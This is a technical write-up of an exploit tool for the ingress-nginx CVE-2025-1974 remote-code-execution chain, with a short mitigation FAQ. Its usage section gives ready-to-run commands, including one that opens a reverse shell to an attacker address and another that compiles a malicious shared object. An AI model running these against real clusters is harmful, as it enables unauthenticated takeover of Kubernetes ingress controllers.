Two-Phase Attack Mechanism for Ingress-Nginx Exploitation: CVE-2025-1974 Technical Analysis

The two-phase attack mechanism for ingress-nginx exploitation combines cache smuggling of a malicious shared object with proc-fd path traversal via the admission webhook to achieve unauthenticated remote code execution inside the NGINX controller pod.

The esonhugh/ingressnightmare-cve-2025-1974-exps repository implements a critical exploit chain targeting the ingress-nginx controller. This attack leverages the interaction between NGINX's file caching behavior and the admission validation webhook's configuration testing functionality to execute attacker-controlled code without authentication.

Phase 1: Cache Smuggling via Malicious Shared Object Upload

The first phase plants the payload into the controller's memory space using a technique that abuses NGINX's request handling.

The BadUploader function in nginx-ingress/exploit.go initiates a raw TCP connection to the upload URL of the ingress controller and transmits a crafted POST request with Content-Length: 1 MiB. This large request body contains a compiled shared object (danger.so) generated by payload.NewReverseShellPayload defined in nginx-ingress/payload.go.

By keeping the connection alive, the uploaded object persists in the NGINX cache as a temporary file. The tool also provides BadUploadHTTP and BadUploadHTTPS variants for different protocol requirements. This cache-smuggling technique ensures the malicious payload remains accessible in memory without being written to persistent storage.

Phase 2: Proc-Fd Path Traversal via Admission Webhook

The second phase forces the admission webhook to load the cached payload through a path traversal vulnerability.

The ValidateWebHook and ValidateWebhookSpecificFilePath functions in nginx-ingress/exploit.go send crafted POST requests to the admission-webhook URL. The JSON body contains a malicious ssl_engine directive that references a path constructed as ../../../../../../proc/<pid>/fd/<fd>.

Because the admission webhook runs nginx -t -c <temp-cfg> to validate configurations, and because the webhook process resides inside the same pod as the NGINX worker, the loader resolves the proc filesystem path to the attacker's cached file descriptor. When the configuration test executes, NGINX loads the attacker-controlled shared object from /proc/<pid>/fd/<fd>, triggering immediate execution with the same privileges as the NGINX master process.

Orchestration and Implementation Details

The Exploit function coordinates both phases through concurrent execution. It spawns a continuous upload thread running UploadThreadBadUploader to maintain the payload in cache while simultaneously launching multiple goroutines that brute-force possible PID and file descriptor combinations via ValidateWebHook.

The admission request template resides in nginx-ingress/validate.json, which the exploit patches dynamically with the target proc-fd path. The pre-compiled nginx-ingress/danger.so ships embedded within the repository for compatible architectures, though attackers can compile custom payloads using the template in payload.go.

Practical Exploitation Examples

Execute the complete two-phase attack using the command-line tool:


# Launch both phases: upload payload while probing webhook

ingressnightmare \
    -m c \
    -c "" \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
    -r 10.0.0.42 -p 4444 \
    -v

This command:

  1. Generates a reverse-shell payload via payload.NewReverseShellPayload
  2. Maintains the upload via BadUploader to cache the .so file
  3. Brute-forces PID/FD pairs through ValidateWebHook until successful injection

For environments with architecture mismatches, compile a custom shared object:


# Compile custom payload

gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o mypayload.so -shared danger.c

# Execute with custom library

ingressnightmare -m c -c 'id' -i $WEBHOOK -u $UPLOAD --so ./mypayload.so -v

Summary

  • Phase 1 involves uploading a malicious shared object (danger.so) through a large POST request that remains cached in NGINX's memory via BadUploader in nginx-ingress/exploit.go.
  • Phase 2 exploits the admission webhook's configuration validation by injecting an ssl_engine directive that traverses to /proc/<pid>/fd/<fd>, causing nginx -t to load the cached payload.
  • The attack achieves remote code execution with NGINX process privileges without requiring authentication or prior access to the cluster.
  • Key functions include Exploit, BadUploader, ValidateWebHook, and ValidateWebhookSpecificFilePath located in nginx-ingress/exploit.go.

Frequently Asked Questions

How does the two-phase attack mechanism bypass authentication requirements?

The exploit targets the admission webhook endpoint, which typically lacks authentication in default ingress-nginx deployments, and leverages the nginx -t configuration test that runs with elevated privileges inside the controller pod. By combining the publicly accessible upload endpoint with the webhook's file system access, the attacker never needs to authenticate to the Kubernetes API or the ingress controller itself.

Why does the attack require brute-forcing PID and file descriptor numbers?

NGINX worker processes assign file descriptors dynamically when caching the uploaded payload. Since the attacker cannot predict which specific process ID (<pid>) will handle the upload or which file descriptor number (<fd>) the system allocates for the cached object, the Exploit function must iterate through possible combinations until ValidateWebhookSpecificFilePath successfully references the malicious shared object.

Can the ingress-nginx two-phase attack be mitigated without patching?

Temporary mitigations include disabling the admission webhook validation, restricting access to the admission endpoint through network policies, or preventing the nginx -t command from executing with privileges that allow proc filesystem traversal. However, because the vulnerability resides in the core interaction between NGINX caching and webhook validation, comprehensive protection requires upgrading to a patched version of ingress-nginx that sanitizes configuration directives and restricts file loading paths.

What architectures are supported by the embedded danger.so payload?

The repository includes a pre-compiled nginx-ingress/danger.so that targets common Linux architectures. For incompatible targets, attackers must compile custom shared objects using the provided danger.c source and the payload.go generation functions, specifying appropriate compiler flags such as -fPIC, -nostdlib, and -shared to ensure proper execution within the NGINX process context.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →